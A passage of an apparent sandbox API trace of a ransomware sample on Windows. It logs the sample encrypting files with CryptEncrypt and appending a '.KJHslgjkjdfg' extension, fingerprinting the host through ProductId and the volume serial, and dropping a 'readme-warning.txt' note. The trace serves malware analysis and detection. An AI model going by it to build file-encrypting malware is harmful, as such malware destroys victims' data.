lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0168.520] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0168.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.521] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x44780, lpOverlapped=0x0) returned 1 [0168.527] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44780, dwBufLen=0x44780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44780) returned 1 [0168.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.531] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x44780, lpOverlapped=0x0) returned 1 [0168.532] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.532] SetEndOfFile (hFile=0xf0) returned 1 [0168.534] GetProcessHeap () returned 0x2ef0000 [0168.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0168.534] GetProcessHeap () returned 0x2ef0000 [0168.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.kjhslgjkjdfg")) returned 1 [0168.542] CloseHandle (hObject=0xf0) returned 1 [0168.542] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0168.542] GetProcessHeap () returned 0x2ef0000 [0168.542] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0168.542] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.542] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0168.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.543] GetProcessHeap () returned 0x2ef0000 [0168.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0168.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.543] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0168.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.543] GetProcessHeap () returned 0x2ef0000 [0168.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0168.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.543] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0168.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.543] GetProcessHeap () returned 0x2ef0000 [0168.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0168.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.543] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0168.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.543] GetProcessHeap () returned 0x2ef0000 [0168.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11750 [0168.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.543] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11750, pdwDataLen=0x4dfec88 | out: pbData=0x2f11750, pdwDataLen=0x4dfec88) returned 1 [0168.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.543] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0168.544] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0168.544] RegCloseKey (hKey=0xf0) returned 0x0 [0168.544] GetProcessHeap () returned 0x2ef0000 [0168.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0168.544] GetProcessHeap () returned 0x2ef0000 [0168.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11750 | out: hHeap=0x2ef0000) returned 1 [0168.544] GetProcessHeap () returned 0x2ef0000 [0168.544] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11750 [0168.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0168.544] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11750, pdwDataLen=0x4dfea5c | out: pbData=0x2f11750, pdwDataLen=0x4dfea5c) returned 1 [0168.544] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.544] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0168.544] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0168.545] GetProcessHeap () returned 0x2ef0000 [0168.545] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11750 | out: hHeap=0x2ef0000) returned 1 [0168.545] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0168.545] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0168.545] GetProcessHeap () returned 0x2ef0000 [0168.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0168.545] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt") returned 73 [0168.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0168.546] WriteFile (in: hFile=0xf0, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0168.547] CloseHandle (hObject=0xf0) returned 1 [0168.547] GetProcessHeap () returned 0x2ef0000 [0168.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.547] GetProcessHeap () returned 0x2ef0000 [0168.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0168.548] GetProcessHeap () returned 0x2ef0000 [0168.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0168.548] GetProcessHeap () returned 0x2ef0000 [0168.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0168.548] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0168.548] GetProcessHeap () returned 0x2ef0000 [0168.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0168.548] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Help", cAlternateFileName="")) returned 1 [0168.548] GetProcessHeap () returned 0x2ef0000 [0168.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x78) returned 0x2f09d00 [0168.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0168.548] GetProcessHeap () returned 0x2ef0000 [0168.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0168.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0168.549] GetProcessHeap () returned 0x2ef0000 [0168.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27a) returned 0x2f16e68 [0168.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0168.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0168.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0168.549] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0168.549] GetProcessHeap () returned 0x2ef0000 [0168.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0168.549] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0168.549] GetProcessHeap () returned 0x2ef0000 [0168.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x76) returned 0x2f09d00 [0168.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0168.550] GetProcessHeap () returned 0x2ef0000 [0168.550] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0168.550] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.550] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0168.550] GetProcessHeap () returned 0x2ef0000 [0168.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x278) returned 0x2f16e68 [0168.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.552] GetLastError () returned 0x5 [0168.552] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0168.552] GetProcessHeap () returned 0x2ef0000 [0168.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.553] GetProcessHeap () returned 0x2ef0000 [0168.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.553] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.554] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.554] GetProcessHeap () returned 0x2ef0000 [0168.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.555] GetLastError () returned 0x5 [0168.555] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.555] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.555] GetProcessHeap () returned 0x2ef0000 [0168.555] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.555] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0168.555] GetProcessHeap () returned 0x2ef0000 [0168.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.556] GetProcessHeap () returned 0x2ef0000 [0168.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.556] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.556] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.556] GetProcessHeap () returned 0x2ef0000 [0168.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.556] GetLastError () returned 0x5 [0168.556] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.556] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.556] GetProcessHeap () returned 0x2ef0000 [0168.556] HeapFree (in: 